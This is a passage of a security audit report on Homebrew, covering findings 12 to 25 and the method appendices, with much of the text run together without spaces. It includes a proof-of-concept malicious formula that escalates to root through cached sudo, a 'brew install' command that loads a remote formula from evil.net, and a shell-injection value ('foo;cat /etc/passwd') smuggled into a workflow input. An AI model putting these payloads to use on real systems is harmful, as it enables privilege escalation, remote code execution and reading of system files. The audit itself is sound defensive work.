interpretedassystemcommands,instructionstoperformI/O,etc. ExploitScenario Atargeteduserhas tmux ,apopularterminalmultiplexer,installed. tmux runsasa backgrounddaemonwithmultipleconnectingclients, servicingconnectionsthrougha domainsockettypicallyexposedat /private/tmp/tmux-#{UID} ,where #{UID} isthe runninguser'snumericidentifier.Anyprocessthatcanwritetothisdomainsocketcan hashey 33HomebrewSecurityAssessment PUBLIC

sendcommandsto tmux ,includingthe send-keys command,whichiscapableofrunning arbitraryshellcommands. Toperformasandboxescape,anattackerdiscoversusefuldomainsockets(like tmux )in thetemporarydirectories thatthesandboxhasaccessto.Using tmux asanexample,they thensendcommandsthroughthesocket,causingthe tmux daemon(orasubprocessof thedaemon)torunarbitrarycommandsorperformI/Ooutsideofthesandbox. Thisattackrequiresthetargettoberunninganindependentserviceordaeomonthat exposesasocketviaasystemtemporarydirectory.However,thisisacommon configuration(suchaswith tmux bydefault). Recommendations Short-term,evaluatetheabilityofthemasOSs sandboxrules tofurtherrestrictUnixdomain socketaccessinthesedirectories.Inparticular,the network-outbound rulemaybeable toperformrestrictionson unix-socket patterns. Longterm,considereliminatingthesepathsfromthesandboxedprocessesentirely,and insteadinject TMPDIR andsimilarenvironmentvariablesthatpointtoanentirely Homebrew-controlledtemporarydirectory(suchasadedicatdoneunder HOMEBREW\_TEMP ). hashey 34HomebrewSecurityAssessment PUBLIC

12.Formulaprivilegeescalationthroughsudo Severity:MediumDifficulty:High Type:AccessControlsFindingID:TOB-BREW-12 Target: brew Description Formuladefinitionscanruncommandstherootuserusing sudo--non-interactive , assumingthattheuserhasused sudo earlierintheshellhistory. ExploitScenario Thefollowingfigure showsanexampleofamaliciouspackagethatcantakeadvantageof thisissue:

```
#privilegeEscalation class PrivilegeEscalation<Formula url"https://ftp.gnu.org/gnu/hello-2.12.1.tar.gz" sha256"8d99142afd92576f30b0cd7cb42a8dc6809998bc5d607d88761f512e26c7db20" license"GPL-3.0-or-later" definstall ENV.append"LD_FLAGS", "-liconv"if OS.mac? system"./configure", "--disable-dependency-tracking", "--disable-silent-rules", "--prefix=#{prefix}" system"make", "install" end end system"sudo", "--non-interactive", "touch", "/tmp/pwned"
```

Figure 12.1: Sandbox implemented only for MacOS. Here is what happens when this package is installed:

```
$sudo do_unrelated_thing Password: ... .. $brew install ./privilegeEscalation.rb ... $ls -l /tmp/pwned  
-rw-r--r-- 1 root wheel 0 Aug 25 11:54 /tmp/pwned
```

Figure 12.2: Installing the malicious package

```
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Recommendations Run sudo -k whenever a third-party (i.e., outside of Homebrew core) formula definition file is about to be read, and in general whenever untrusted code is about to be executed. hashey  
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```

13. Formula loading through SFTP, SCP, and other protocols Severity: Medium Difficulty: Low  
Type: Access Controls Finding ID: TOB-BREW-13 Target: brew/Library/Homebrew/formulary.rb Description  
Homebrew allows loading of formulae by path or by file:// URL, but explicitly forbids arbitrary loading via other protocols (such as HTTP/HTTPS and FTP):

```
def load_file(flags:, ignore_errors:)  
  match = url.match(%r{githubusercontent.com/[\\w-]+/[\\w-]+/[a-f0-9]{40}(?:/Formula)?(?:<name>[\\w+-.@]+).rb})  
  if match  
    raise UnsupportedInstallationMethod, "Installation of #  
{match[:name]} from a GitHub commit URL is unsupported!" \ " `brew extract #  
{match[:name]} to a stable tap on GitHub instead." elsif url.match?(%r{^(https?|ftp)://})  
    raise UnsupportedInstallationMethod, "Non-checksummed download of #  
{name} formula file from an arbitrary URL is unsupported!" \ " `brew extract` or `brew create` and `brew tap`  
new` to create a formula file in a tap" \ " on GitHub instead."
```

Figure 13.1: Restrictions on downloads of formulae from arbitrary URLs

However, Homebrew's current checks are limited to HTTP(s) and FTP, while curl (the underlying download handler) is typically built with support for additional protocols, including SFTP, SCP, IMAP, and FTPS. Consequently, an attacker is able to induce Homebrew into loading a remotely specified formula (and executing its contents) via a URL for one of these protocols:

```
brew install sftp://evil.net/~malicious.rb
```

Figure 13.2: Installation from an SFTP URL Exploit Scenario

An attacker may use this remote loading vector as a pivoting technique: there may be situations where Homebrew assumes that the arguments to `brew install` (and similar commands) all represent locally installed formulae that are trusted by the user, when in

```
hashey  
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```

reality an attacker may be able to introduce a remote formula that gets loaded and executed unexpectedly.

Recommendations We recommend that Homebrew perform formula argument sanitization through a "deny-by-default" strategy, i.e. rejecting anything that is not an ordinary formula name, local path, or `file://` URL by default, rather than attempting to enumerate specific protocols to reject.

```
hashey  
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```

14. Sandbox allows changing permissions for important directories Severity: Medium Difficulty: Low  
Type: Access Controls Finding ID: TOB-BREW-14 Target: brew/Library/Homebrew/sandbox.rb Description  
The sandbox allows a formula to build, post-install, and test steps to change the permissions of the brew cached directory.

```
class ChmodTest<Formula desc "homepage" url "https://ftp.gnu.org/gnu/hello/hello-2.12.1.tar.gz" version "0.0.0" sha256 "8d99142afd92576f30b0cd7cb42a8dc6809998bc5d607d88761f512e26c7db20" license "MIT" def install system "chmod", "ug-w", "/Users/user/Library/Caches/Homebrew" #system "chmod", "777", "/Users/user/test_file" #this gets blocked end test do system "false" end end
```

Figure 14.1: Sample formula that changes directory permissions Exploit Scenario

Given the ability to add or remove permissions in unexpected brew directories, a formula either makes files or directories too permissive or not permissive enough, thus preventing files from being read, written, created, or deleted.

Recommendations Homebrew should use the sandbox to ensure that formulas do not change the permissions of unexpected files or directories, especially directories important to brew. This is governed by the `file-write-mode` sandbox operation.

```
hashey  
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```

15. Homebrew support only end-of-life versions of Ruby Severity: Informational Difficulty: Undetermined  
Type: Patching Finding ID: TOB-BREW-15 Target: All of Homebrew Description  
Homebrew currently expects to be run under Ruby 2.6, which was declared end-of-life (EOL) by the Ruby maintainers in April 2022. Newer versions of Ruby that have not yet reached EOL are considered unsupported by Homebrew, and are not yet available through `homebrew-portable-ruby`.

Exploit Scenario This is a purely informational finding; although unpatched CVEs exist for Ruby 2.6 and other EOL Ruby versions, the Homebrew maintainers do not consider these CVEs relevant to Homebrew's use of Ruby. Homebrew's maintainers have indicated that they intend to

upgradeHomebrewtoRuby3.2,puttingthemonversionofRubythatisreceivingsecurityupdates.  
Recommendations WererecommendthatHomebrewupgradetoRuby3.2. hashey 40HomebrewSecurityAssessment  
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16.Pathtraversalduringbottling Severity:InformationalDifficulty:High  
Type:DataValidationFindingID:TOB-BREW-16 Target: brew/Library/Homebrew/dev-cmd/bottle.rb ,  
brew/Library/Homebrew/software\_spec.rb Description Thereisapathtraversalduringtheexecutionofthe  
brewbottle commandthatalloes  
fortheoutputfiletobeputintoadifferentdirectory.However,thisismostlikely  
impossibletoexploit,sinceanypackagetryingtoexploitthiswouldhaveaninvalidlocation  
forthepackage'skegandthuscouldnotbebottledinthefirstplace.  
Thefollowingpiecesofcodeareusedtodecidewheretoputtheoutputfrom brew bottle :  
filename=Bottle::Filename.create(formula,bottle\_tag.to\_sym,rebuild) local\_filename=filename.to\_s  
bottle\_path=Pathname.pwd/filename Figure16.1:Definitionof bottle\_path ( brew/Library/Homebrew/dev-  
cmd/bottle.rb:356-358 ) sig{returns(String)} defto\_s "#{name}--#{version}#{extname}" end  
alias to\_str to\_s Figure16.2:Codeusedin Bottle::Filename tocalculate bottle\_path asastring (   
brew/Library/Homebrew/software\_spec.rb:306-310 )  
Bymaliciouslysettingthenameorversionofapackage,anattackercouldcausethe bottle\_path  
tocontainapathtraversal,placingtheoutputfileinadifferentdirectory thanintended. Recommendations  
Shortterm,removeanyspecialcharactersfromthe name and version beforeusingit whencreatingthe  
bottle\_path .Preferably,alsodisallowformulasfromhavingthese specialcharactersintheir version  
namesinthefirstplace(seeTOB-BREW-4). hashey 41HomebrewSecurityAssessment PUBLIC

Longterm,auditanyusesofuser-inputtedstringstocreatepaths.Ensurethattheinputis  
properlysanitizedbeforebeingused. hashey 42HomebrewSecurityAssessment PUBLIC

17.FileUtils.rm\_rfdoesnotcheckiffilesaredeleted Severity:UndeterminedDifficulty:Low  
Type:ErrorHandlingFindingID:TOB-BREW-17 Target: homebrew-test-bot/lib/tests/formulae.rb  
,throughoutthe brew codebase Description Whenusing FileUtils.rm\_rf  
,Rubymasksallerrors,notjust"filenotfound"errors,  
whichcanbesurprising.Thiscanmaskissueshatpreventthefileordirectoryfrombeing deleted.  
#Removetheentrygivenby+path+, #whichshouldbetheentryforaregularfile,asymboliclink, #oradirectory.  
# #Argument+path+ #shouldbe{interpretableasapath}[rdoc-ref:FileUtils@Path+Arguments]. #  
#Optionalargument+force+specifieswhethertotignore #raisedexceptionsofStandardErroranditsdescendants.  
# #Related:FileUtils.remove\_entry\_secure. # defremove\_entry(path,force=false)  
Entry.new(path).postorder\_traverse do |ent| begin ent.remove rescue raiseunlessforce end end rescue  
raiseunlessforce end module\_function:remove\_entry Figure17.1:Rubyimplementationof remove\_entry A  
numberofplacesinthecodeareworthdoublecheckingtoensurethatignoringallerrors  
relatedtodeletionisintentional.Figure17.2showssomeexamples. hashey 43HomebrewSecurityAssessment  
PUBLIC

```
defcleanup_bottle_etc_var(formula) bottle_prefix=formula.opt_prefix/".bottle"  
#Nukeetc/vartohavethembecleantodetectbottleetc/var #fileadditions. Pathname.glob("#  
{bottle_prefix}/{etc,var}/**/*").eachdo|bottle_path|  
prefix_path=bottle_path.sub(bottle_prefix,HOMEBREW_PREFIX) FileUtils.rm_rfprefix_path end end  
defverify_local_bottles with_env(HOMEBREW_DISABLE_LOAD_FORMULA:"1")do ...  
#Deletethesefilessowendon'tendupuploadingthem.  
files_to_delete=mismatched_checksums.keys+unexpected_bottles  
files_to_delete+=files_to_delete.select(&:symlink?).map(&:realpath) FileUtils.rm_rffiles_to_delete  
test"false"#ensurethat`test-bot`exitswithanerror. false end end Figure17.2: cleanup_bottle_etc_var  
and verify_local_bottles foundin homebrew-test-bot/lib/tests/formulae.rb ExploitScenario  
Codethatassumestheabsenceofspecificfilesordirectoriesmayhavethatassumption  
violated.AnattackercanpotentiallyinducethisissueusingTOB-BREW-14,whichallows  
formulastochangethepermissionsofcertain brew directories. Recommendations  
Shortterm,werecommendauditingallusagesof FileUtils.rm_rf toensurethatitis  
safetocontinueifthefileordirectorydeletiondoesnotsucceedinremovingtheexpected items.  
Longterm,werecommendcreatingahelperthatignores ENOENT butraisesonother  
potentialerrorsthatmayoccurwhendeletingfilesordirectories. hashey 44HomebrewSecurityAssessment  
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```

18.Useofpull\_request\_targetinGitHubActionsworkflows Severity:MediumDifficulty:Medium  
Type:AccessControlsFindingID:TOB-BREW-18 Target: brew/.github/workflows/vendor-gems.yml , homebrew-  
actions/.github/workflows/vendor-node-modules.yml Description The vendor-gems and vendor-node-  
modules workflowsbothdeclare pull\_request\_target asatrigger,allowingthird-  
partypullrequeststoruncodewithin thecontextofthetargeted(i.e.,upstream)repository: name:VendorGems  
on: pull\_request: paths: -Library/Homebrew/dev-cmd/vendor-gems.rb -Library/Homebrew/Gemfile\* push:  
paths: -.github/workflows/vendor-gems.yml branches-ignore: -master pull\_request\_target:

workflow\_dispatch: inputs: pull\_request: description: Pull request number required: true  
Figure18.1: Workflow triggers for vendor-gems.yml name: Vendor node\_modules on: pull\_request\_target:  
types: -labeled workflow\_dispatch: inputs: pull\_request: description: Pull request number  
required: true Figure18.2: Workflow triggers for vendor-node-modules.yml hashey  
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Because pull\_request\_target allows arbitrary third-party PRs to run arbitrary code in the context of the target repository, it is considered dangerous and generally discouraged by GitHub. GitHub particularly cautions against the use of pull\_request\_target in any context where an attacker may be able to induce npm install or a similar vector for arbitrary code execution, which is the primary purpose for both vendor-gems.yml and vendor-node-modules.yml. Both workflows contain partial mitigations against the risks of pull\_request\_target. vendor-gems.yml appears to ignore the event unless it comes from a ostensibly trusted user (dependabot[bot], indicating GitHub's Dependabot): jobs: vendor-gems: if: > github.repository\_owner == 'Homebrew' && ( github.event\_name == 'workflow\_dispatch' || github.event\_name == 'pull\_request' || github.event\_name == 'push' || ( github.event.pull\_request.user.login == 'dependabot[bot]' && contains(github.event.pull\_request.title, '/Library/Homebrew') ) ) Figure18.3: Event filtering in vendor-gems.yml vendor-node-modules.yml uses the labeled sub-filter to restrict the workflow to only pull requests that have been explicitly labeled with a "safe" label by a reviewer. Regardless, both workflows run arbitrary code via package management steps, meaning that a malicious or compromised package may be able to run arbitrary code in each workflow's respective repository (including access to repository secrets and other sensitive materials). Exploit Scenario Scenario 1: A compromised Ruby Gem or Node package inspects its running environment, determines that it is executing in the context of a pull\_request\_target, and exfiltrates environment variables or other secrets (or potentially runs code in the context of the trusted repository, establishing persistence). Scenario 2: The labeled sub-filter for pull\_request\_target is subject to race conditions, allowing an attacker to push new changes after a workflow has been labeled (indicating trust and approval) but has not yet been picked up by a workflow runner. Recommendations Short term, we recommend that the Homebrew maintainers conduct a review of these workflows and determine what, if any, further filters and restrictions can be applied to their pull\_request\_target triggers. In particular, we recommend that both be fully restricted hashey 46 Homebrew Security Assessment PUBLIC

to dependabot[bot] or similar trusted account identities, that both then force labeling, and that neither exposes unnecessary permissions or secrets. Long term, we recommend that Homebrew refactor these workflows to avoid pull\_request\_target entirely. In particular, we recommend that Homebrew consider automation flows that use only safer triggers like pull\_request, or that workflows use a comment-based flow to enable trusted users to trigger modifications to PRs. hashey 47 Homebrew Security Assessment PUBLIC

19. Use of unpinned third-party workflow Severity: Low Difficulty: High Type: Patching Finding ID: TOB-BREW-19 Target: Workflows throughout Homebrew/brew, Homebrew/formulae.brew.sh, Homebrew/homebrew-test-bot, and Homebrew/homebrew-actions Description Workflows throughout the Homebrew repositories make direct use of the third-party ruby/setup-ruby@v1 workflow. The following example occurs in review-cask-pr.yml: -name: Setup Ruby uses: ruby/setup-ruby@v1 with: ruby-version: '2.6' Figure19.1: Use of ruby/setup-ruby@v1 in review-cask-pr.yml Git tags are malleable. This means that, while ruby/setup-ruby is pinned to v1, the upstream may silently change the reference pointed to by v1. This can include malicious re-tags, in which case Homebrew's various dependent workflows will silently update to the malicious workflow. GitHub's security hardening guidelines for third-party actions encourage developers to pin third-party actions to a full-length commit hash. Generally excluded from this is "official" actions under the actions org; however, setup-ruby is not an "official" action. Specifically affected workflows include: • homebrew-actions/.github/workflows/review-cask-pr.yml • formulae.brew.sh/.github/workflows/scheduled.yml • formulae.brew.sh/.github/workflows/tests.yml • brew/.github/workflows/docs.yml • homebrew-test-bot/.github/workflows/tests.yml Exploit Scenario An attacker (or compromised maintainer) may silently overwrite the v1 tag on ruby/setup-ruby with a malicious version of the action, causing a large number of security-sensitive Homebrew workflows to run malicious code. hashey 48 Homebrew Security Assessment PUBLIC

Recommendations Short term, we recommend that Homebrew replace the current v1 tag on each use of ruby/setup-ruby with a full-length commit hash corresponding to the revision that each workflow is intended to use. Longer term, we recommend that Homebrew leverage Dependabot's support for GitHub Actions to keep these hashes up to date (complemented by maintainer reviews). hashey 49 Homebrew Security Assessment PUBLIC

20. Unpinned dependencies in formulae.brew.sh Severity: Medium Difficulty: Medium Type: Patching Finding ID: TOB-BREW-20 Target: formulae.brew.sh Description formulae.brew.sh

is rendered by Jekyll, and specifies its dependencies in a top-level Gemfile : gem"faraday-retry" gem"jekyll"  
gem"jekyll-redirect-from" gem"jekyll-remote-theme" gem"jekyll-seo-tag" gem"jekyll-sitemap"  
gem"rake" Figure 20.1: Excerpted dependencies in formulae.brew.sh 's Gemfile  
Notably, all current dependencies for the site's build are currently unpinned. Combined with the absence of a  
Gemfile.lock, this means that every re-build of the site potentially  
installs different (and new) versions of each dependency. Prior to formulae.brew.sh  
's hosting of Homebrew's JSON formula API, the site's security profile was minimal. However, now that  
formulae.brew.sh serves as the source of truth  
for installable formulae, its security profile is substantial. Consequently, all dependencies  
used to build the sites should be fully pinned to minimize the risk of downstream compromise or package takeover.  
Exploit Scenario An attacker whom an agent stole or compromised one of formulae.brew.sh 's  
dependencies may be able to execute arbitrary code during the site's generation and deployment, including: •  
Potentially stealing or maliciously using the current JSON API signing key, resulting in  
a total compromise of bottle integrity and authenticity; •  
Defacing or maliciously modifying the Homebrew website (e.g. to include malicious recommendations for users)  
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Even without access to the signing key, an attacker may be able to perform a "downgrade"  
attack on Homebrew users by forcing the JSON API to serve an older copy of the signed  
JSON response, resulting in downstream users installing older, vulnerable copies of formulae. Recommendations  
Short term, we recommend that Homebrew apply version pins to each dependency specified in formulae.brew.sh 's  
Gemfile. Additionally, we recommend that Homebrew check an equivalent Gemfile.lock  
into the source tree, providing additional integrity to the version pins.  
Long term, we recommend that Homebrew use Dependabot to track updates to the Gemfile -  
specified dependencies and, with maintainer review, perform all updates through  
Dependabot. We also recommend that Homebrew evaluate each dependency's  
maintenance status and importance and, if possible, eliminate as many as possible as part  
of a larger effort to reduce the overall external security profile of formulae.brew.sh. hashey 51  
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21. Use of RSA for JSON API signing Severity: Informational Difficulty: High Type: Cryptography Finding ID: TOB-  
BREW-21 Target: formulae.brew.sh/script/sign-json.rb Description  
Homebrew currently signs all JSON API responses using an RSA key, using the RSA-PSS  
signing scheme with SHA512 as the cryptographic digest and mask generation function.  
signature\_data=Base64.urlsafe\_encode64(  
PRIVATE\_KEY.sign\_pss("SHA512", signing\_input, salt\_length::digest, mgf1\_hash: "SHA512") )  
Figure 21.1: RSA-PSS signature regeneration in sign-json.rb Homebrew currently uses a 4096-bit RSA key, and RSA-  
PSS is a well-studied, strong instantiation of an RSA signing scheme with a formal security proof.  
At the same time, RSA is a dangerous crypto system that reflects historical constraints,  
exposes excessive parameters to the key-generating party, and produces larger signatures  
than corresponding security margins in other crypto systems. Exploit Scenario  
We conducted a review of Homebrew's current signing key and found that it uses a reasonable public exponent (  
e=65537) and has a substantial security margin (4096 bits,  
equivalent to greater than 128 bits of symmetric security). Combined with Homebrew's use of RSA-  
PSS, we believe that the current use of RSA does not represent a substantial risk to  
Homebrew's JSON API signatures. As such, this is a purely informational finding. Recommendations  
We recommend no short or medium-term actions.  
Long term, we recommend that Homebrew's next key rotation replace RSA and RSA-PSS  
with an EC key and ECDSA (or EdDSA, if client support permits). EC keys and signatures  
are substantially smaller than their RSA equivalents with comparable security margins and have fewer user-  
controlled parameters. hashey 52 Homebrew Security Assessment PUBLIC

22. "Bottles beginning" - " can lead to unintended options getting passed to rm  
Severity: Informational Difficulty: Low Type: Data Validation Finding ID: TOB-BREW-22 Target: homebrew-  
test-bot/.github/workflows/tests.yml#L127 Description If a bottle contains a -  
, this may lead to unintended options getting passed to rm . -run:rm-rvf\*.bottle\*.{json,tar.gz}  
Figure 22.1: Potentially buggy workflow Exploit Scenario  
This is very unlikely to be exploitable but may produce some surprising behavior when combined with TOB-BREW-4.  
Recommendations We recommend changing the workflow to use the following. -run:rm-rvf--\*.bottle\*.  
{json,tar.gz} Figure 22.2: A possible solution to the buggy workflow  
We also recommend running actionlint on the other repos besides just Homebrew/brew as noted in appendix C. hashey 53  
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23. Code injection through inputs in multiple actions Severity: Medium Difficulty: Low  
Type: Data Validation Finding ID: TOB-BREW-23 Target: Multiple actions defined in Homebrew/homebrew-actions  
Description Homebrew/homebrew-actions contains a wide variety of utility actions used throughout

theHomebrewproject.Manyoftheseactionsareconfigurable inputs ,allowingtheir callingworkflowsanduserstosupplyvalues/relevantpiecesofstate. Inmanycases,these inputs aretreatedasvariables,andexpandeddirectlyintoshellor RubyexpressionsusingGitHubActions' \${{..}} expansionsyntax: steps: -run:brewbump--open-pr--formulae\${{inputs.formulae}} if:inputs.formulae≠' shell:sh env: HOMEBREW\_DEVELOPER:"1" HOMEBREW\_GITHUB\_API\_TOKEN:\${{inputs.token}}

Figure23.1:Anexampleofaninputexpansionin homebrew-actions/bump-packages

However,performingblindexpansionsofpotentiallyuser-controlledinputslikethisis dangerous,asGitHub's \${{...}} expansionsyntaxperformsnoquotingorescapingof theexpandedvalue.

Consequently,anattackermayleverageanactioninputtoperformashellinjection: inputs.formulae maybecontrivedtocontain foo;cat/etc/passwd ,resultingin brewbump--open-pr-- formulaefoo;cat/etc/passwd beingrunbythe surroundingworkflow.

Thispatternappearswidelyintheactionsdefinedunder homebrew-actions .The following(notguaranteedtobeexhaustive)listofactionscontainsatleastonepotentially user-controlledcodeinjectionthrough inputs : • bump-formulae • bump-packages • count-bottles • failures-summary-and-bottle-result • find-related-workflow-run-id hashey 54HomebrewSecurityAssessment PUBLIC

- pre-build
- setup-commit-signing

Theimpactofthesevariesbyactionandbyeachaction'sworkflowusage,including relevantworkflowtriggers.Intheworst-casescenario,anactionmaybeusedbyaworkflow thattakesentirelyPR-controlledinputs,allowinganuntrustedPRtomakechangestothe workflow'sbehaviorsurreptitiously.

ExploitScenario Dependingonhowtheseactionsareappliedtotheirrespectiveworkflows,anattackermay beabletoexecutearbitraryshellorRubycodeinthecontextofaworkflowstepthatis

otherwiseconstrainedtoanexpectedsetofoperations.Theseexpansionsmayalsoallowa maintainerwithlimitedprivileges(e.g.,theabilitytomanuallydispatchsomeworkflows)to pivottogreaterprivilegesbyinjectingarbitrarycodeintothoseworkflows. Recommendations

Generallyspeaking,any \${{...}} expansioninashellotherexecutablecontextcanbe rewrittenintoaninjection-freeformthroughtheuseofenvironmentvariables. Forexample,thefollowing: -

```
run: ./count.sh'${{inputs.working-directory}}'`${{inputs.debug}}' working-
directory:${{github.action_path}} shell:bash id:count
```

Figure23.2:Twopotentiallyinputunsafeexpansions Couldberewrittenas: -

```
run: ./count.sh"${INPUT_WORKING_DIRECTORY}"`${INPUT_DEBUG}" working-
directory:${{github.action_path}} shell:bash id:count env:
INPUT_WORKING_DIRECTORY:"`${inputs.working-directory}" INPUT_DEBUG:"`${inputs.debug}}"
```

Figure23.3:Unsafeexpansionsrewrittentouseenvironmentvariables hashey 55HomebrewSecurityAssessment PUBLIC

24. Use of PGP for commit signing Severity: Informational Difficulty: Undetermined

Type: Cryptography Finding ID: TOB-BREW-24 Target: homebrew-actions/setup-commit-signing Description

The current setup-commit-signing action uses a PGP key: gitconfig--global user.signingkey \$GPG\_KEY\_ID gitconfig--global commit.gpgsign true Figure24.1: PGP key configuration in setup-commit-signing

PGP is a generally dated and insecure cryptographic ecosystem: while individual

applications of PGP can be secure, its overall complexity, insecure defaults, and "kitchen sink" design is generally a poor fit for modern applications, including digital signatures on Git commits.

Git has supported commit signing with SSH keys since Git 2.34 (released in 2021), and

GitHub has supported SSH commit verifications since 2022. This allows users to fully replace

their PGP signing key with an SSH signing key, which in turn provides more modern

defaults in a smaller overall cryptographic package (meaning a reduced attack surface). Recommendations

We make no immediate or medium-term recommendations for this finding.

In the long term, we recommend that Homebrew consider replacing its current commit signing key with an SSH-

based signing key. In particular, we recommend that Homebrew use an SSH-

based Ed25519 key, given its widespread support in both the SSH and Git ecosystems. hashey

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25. Unnecessary domain separation between signing key and key ID

Severity: Informational Difficulty: Undetermined Type: Cryptography Finding ID: TOB-BREW-25 Target:

brew/Library/Homebrew/api.rb Description Homebrew's JSON API includes JSON Web Signature-

formatted signatures. These signatures

include (unauthenticated) metadata designed to assist the verifying party, including a key

identifier intended to accelerate lookup when multiple public keys are being considered.

In Homebrew's case, the current one and only signing key is identified by the homebrew-1

identifier, which is matched against during signature verification:

```
homebrew_signature=signatures&.find{|sig|sig.dig("header","kid")= "homebrew-1"}
```

Figure25.1: Searching for a signature that designates homebrew-1 as its signing key The use of a human-readable key identifier (homebrew-1) results in domain separation between the signing key and its identifier: nothing positively binds the identifier to the

signing key other than shared convention. This can (but does not always) become a source of confusion in situations with multiple keys, and can (but does not always) allow attackers to substitute old keys or unexpected verification materials.

One typical technique for eliminating this domain separation is to take a strong cryptographic digest of each public key (canonicalized in some standard format, such as the DER encoding of the subjectPublicKeyInfo representation) and use that digest as the key identifier. This ensures that a given public key has only one tightly bound identifier. Recommendations preventing domain separation here address theoretical concerns; we make no specific short- or medium-term recommendations. Long-term, we recommend that the Homebrew maintainers consider enforcing that key identifiers are strongly bound to their public keys, e.g. by defining a key's identifier as the SHA-256 digest of the key's DER-encoded subjectPublicKeyInfo representation (or any other stable, canonical representation). hashey 57HomebrewSecurityAssessment PUBLIC

#### A. Vulnerability Categories

The following tables describe the vulnerability categories, severity levels, and difficulty levels used in this document.

Vulnerability Categories	Category Description
Access Controls	Insufficient authorization or assessment of rights
Auditing and Logging	Insufficient auditing of actions or logging of problems
Authentication	Improper identification of users
Configuration	Misconfigured servers, devices, or software components
Cryptography	A breach of system confidentiality or integrity
Data Exposure	Exposure of sensitive information
Data Validation	Improper reliance on the structure or values of data
Denial of Service	A system failure with an availability impact
Error Reporting	Insecure or insufficient reporting of error conditions
Patching	Use of an outdated software package or library
Session Management	Improper identification of authenticated users
Testing	Insufficient test methodology or test coverage
Timing	Race conditions or other order-of-operations flaws
Undefined Behavior	Undefined behavior triggered within the system

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#### Severity Levels

Severity Levels	Severity Description
Informational	The issue does not pose an immediate risk but is relevant to security best practices.
Undetermined	The extent of the risk was not determined during this engagement.
Low	The risk is small or is not one the client has indicated is important.
Medium	User information is at risk; exploitation could pose reputational, legal, or moderate financial risks.
High	The flaw could affect numerous users and have serious reputational, legal, or financial implications.

#### Difficulty Levels

Difficulty Levels	Difficulty Description
Undetermined	The difficulty of exploitation was not determined during this engagement.
Low	The flaw is well known; public tools for its exploitation exist or can be scripted.
Medium	An attacker must write an exploit or will need in-depth knowledge of the system.
High	An attacker must have privileged access to the system, may need to know complex technical details, or must discover other weaknesses to exploit this issue.

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#### B. Code Maturity Categories

The following tables describe the code maturity categories and rating criteria used in this document.

Code Maturity Categories	Category Description
Arithmetic	The proper use of mathematical operations and semantics
Auditing	The use of event auditing and logging to support monitoring
Authentication/ Access Controls	The use of robust access control to handle identification and authorization and to ensure safe interactions with the system
Complexity Management	The presence of clear structures designed to manage system complexity, including the separation of system logic into clearly defined functions
Configuration	The configuration of system components in accordance with best practices
Cryptography and Key Management	The safe use of cryptographic primitives and functions, along with the presence of robust mechanisms for key generation and distribution
Data Handling	The safe handling of user inputs and data processed by the system
Documentation	The presence of comprehensive and readable code-based documentation
Maintenance	The timely maintenance of system components to mitigate risk
Memory Safety and Error Handling	The presence of memory safety and robust error-handling mechanisms
Testing and Verification	The presence of robust testing procedures (e.g., unit tests, integration tests, and verification methods) and sufficient test coverage

Rating Criteria	Rating Description
Strong	No issues were found, and the system exceeds industry standards.
Satisfactory	Minor issues were found, but the system is compliant with best practices.
Moderate	Some issues that may affect system safety were found.

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WeakManyissues thataffects systemsafetywererefound.

MissingArequiredcomponentismissing,significantlyaffectingsystemsafety.

NotApplicableThecategoryisnotapplicabletothisreview.

NotConsideredThecategorywasnotconsideredinthisreview. Further Investigation Required

Furtherinvestigationisrequiredto reachameaningfulconclusion. hashey 61HomebrewSecurityAssessment

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### C. AutomatedStaticAnalysis

Thisappendixdescribesthesetupoftheautomatedanalysis toolsusedduringthisaudit.

Thoughstaticanalysis toolsfrequentlyreportfalsepositives,theydetectcertaincategories

ofissues,suchasdynamiccodeexecution(e.g.through eval ),dangerousserialization

formatsandtheuseofunsafeAPIs,withhighprecision.Werecommendperiodically

runningthesestaticanalysis toolsandreviewingtheirfindings. Semgrep ToinstallSemgrep,weused pip

byrunning python3-mpipinstallsemgrep .

TorunSemgreponthecodebase,weranthe followingcommandintherootdirectoryof

theproject(runningmultiplepredefinedrules simultaneouslybyprovidingmultiple --config arguments):

semgrep--configauto TothoroughlyunderstandtheSemgreptoolrefertoourhasheyTestingHandbook,

whereweaimedtostreamlinetheSemgrepuseandimprovesecuritytestingeffectiveness.

Also,considerdoingthefollowing: • Limitresultstoerrorseverityonlybyusingthe --severityERROR flag. •

Focusfirstonruleswithhighconfidenceandmedium-orhigh-impactmetadata. • UsetheSARIFformat(byusingthe

--sarif Semgrepargument)withtheSARIF

ViewerforVisualStudioCodeextension.Thiswillmakeiteasiertoreviewthe

analysisresultsanddrilldownintospecificissues to understandtheirimpactand severity. Actionlint

Toinstallactionlint,weuse go byrunning goinstall github.com/rhysd/actionlint/cmd/actionlint@latest

. Torun actionlint onthecodebase,weranthe followingcommandintherootdirectory oftheproject.

actionlint actionlint wassetuponthemain brew repobutwasmissinginquiteafewoftheother

reposthatwereinscope,suchas formulae.brew.sh , homebrew-actions ,and homebrew-test-bot . hashey 62HomebrewSecurityAssessment

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### D. CodeQualityRecommendations Thisappendixcontainsfindings thatdonothaveimmediateorobvioussecurity

implications,orwereinitiatedbutnotfullyinvestigatedduetotimeconstraints.

1.Strictervalidationandcontroloverthebottlecache.Thebottlecachecreatedas partofa brewtest-bot

lifecyclehasavarietyofvectorsforcompromise, includingdependenceonapotentiallyattacker-

controllablefile ( HOMEBREW\_MAINTAINER\_JSON )forpermissionvalidation.Similarly,thebottle

cachereliesheavilyon pull\_request\_target witha labeled sub-filter to prevent

cache poisoningviaatamperedworkflow,whichGitHubconsiderssusceptibleto

raceconditions.Finally,thebottlecachedoesnotdetectwhen auserperformsa force-

push,potentiallyenablingsurreptitiousmodificationsofthecachethatdonot

reflectanysourcechangesonthe currentbranch.Althoughwewereunabletofully

proveoutacache poisoningvector duringthisengagement,westrongly

recommendaddressingthesepotentialvectors. 2.Eliminatehand-rolledshell-quotingimplementation. brew

containsa hand-rolledimplementationofshell-quotingforPOSIX-compatible shells, implementedas sh\_quote

under brew/Library/Homebrew/Utils/shell.rb .

Thisimplementationissimilarto, butdiffersslightlyfrom, theimplementation

providedbyRuby'sstandardlibrary,under Shellwords::shellescape .Whilewe

wereunabletodeterminean immediate securityimplicationforthis,we

recommendreusingthestandardlibrary'simplementationintheinterestof

minimizingpotentialparserandbehavioraldifferentials. 3.Eliminate malleabilityin INSTALL\_RECEIPT.json

'slocation. brew currently discoversabottle'sembedded INSTALL\_RECEIPT.json bysearchingforany

nestedsubdirectorywithafilethatmatches: defreceipt\_path(bottle\_file)

bottle\_file\_list(bottle\_file).finddo|line| line=~%r{.+/.+INSTALL\_RECEIPT.json} end end

FigureD.1:Installreceiptdiscoveryin brew/Library/Homebrew/Utils/bottles.rb

